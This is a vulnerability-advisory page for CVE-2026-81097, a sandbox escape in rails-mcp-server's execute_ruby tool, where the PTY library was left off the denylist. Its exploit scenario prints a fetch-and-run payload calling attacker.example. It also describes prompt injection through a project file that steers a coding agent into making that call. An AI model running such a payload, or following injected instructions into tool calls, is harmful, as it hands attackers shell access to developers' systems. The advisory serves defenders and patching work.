Skip to main content

rails-mcp-server EUVDEUVD-2026-67025

| CVE-2026-81097 HIGH
OS Command Injection (CWE-78)
2026-08-27 VulnCheck GHSA-247c-497m-jx82
Command Injection Rails Mcp Server
8.6
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.6 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.4 HIGH

AV:L reflects local MCP interface access; PR:N because no OS or application privilege is needed beyond tool invocation; full C/I/A impact from arbitrary command execution as server process.

3.1 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 27, 2026 - 17:49 vuln.today
Analysis Generated
Aug 27, 2026 - 17:49 vuln.today
CVE Published
Aug 27, 2026 - 14:50 cve.org
HIGH 8.6

DescriptionCVE.org

The execute_ruby tool is documented as a read-only Ruby sandbox and is enforced by a pattern denylist together with replacements for the process-spawning methods on Kernel. The pseudo-terminal library's spawn entry points are neither in the denylist nor replaced, so a normal tool call could reach them and start a shell, executing commands as the account running the server and outside the guarded methods. The denylist was introduced with the tool in 1.4.0 and never covered those entry points through 1.6.0. Version 1.6.1 restricts the requires the sandbox permits to a data-only list and blocks dynamic dispatch to execution entry points; 2.0.0 removes the tool.

AnalysisAI

OS command injection in maquina-app rails-mcp-server versions 1.4.0 through 1.6.0 allows any caller with access to the execute_ruby MCP tool to escape the purported Ruby sandbox and execute arbitrary shell commands as the server process owner. The execute_ruby tool's denylist blocked Kernel#system, exec, and backtick invocations but never covered Ruby's pseudo-terminal library (PTY) entry points - PTY.spawn and PTY.getpty - enabling a caller to require 'pty' and spawn a child process entirely outside the guarded method replacements. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft PTY.spawn payload in Ruby snippet
Delivery
Invoke execute_ruby tool via MCP client or prompt-injected AI agent
Exploit
Static denylist passes PTY (not enumerated)
Execution
require 'pty' loads pseudo-terminal library
Persist
PTY.spawn starts child process outside Kernel overrides
Impact
Execute arbitrary OS commands as server process user
Sign in to reveal

Vulnerability AssessmentAI

Exploitation The following conditions must all be met: rails-mcp-server version 1.4.0 through 1.6.0 must be running; the execute_ruby tool must be enabled (it is part of the server's tool set but may be toggled); the attacker must be able to invoke the execute_ruby tool, either directly as an authorized MCP client or indirectly via prompt injection into an AI coding agent that has the tool available. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores 8.6 and reflects low-complexity local exploitation with no privilege prerequisite within the tool-call interface, yielding full confidentiality, integrity, and availability impact on the vulnerable system. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A developer uses a coding agent (e.g., Claude Code, Cursor) connected to rails-mcp-server 1.5.0. A malicious instruction embedded in a project file via prompt injection steers the agent to call execute_ruby with the payload require 'pty'; PTY.spawn('curl attacker.example/shell.sh | bash'). …
Remediation Upgrade to rails-mcp-server version 1.6.1, which restricts require to a data-library allowlist (csv, tzinfo, date, time), adds PTY, Fiddle, and FFI to the static forbidden-pattern scan, and hard-blocks dynamic dispatch to execution sinks. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, identify systems running maquina-app rails-mcp-server 1.4.0-1.6.0 and immediately restrict execute_ruby MCP tool access to a minimal set of authorized users only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0
CVE-2024-9474 MEDIUM POC
6.9

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

EUVD-2026-67025 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy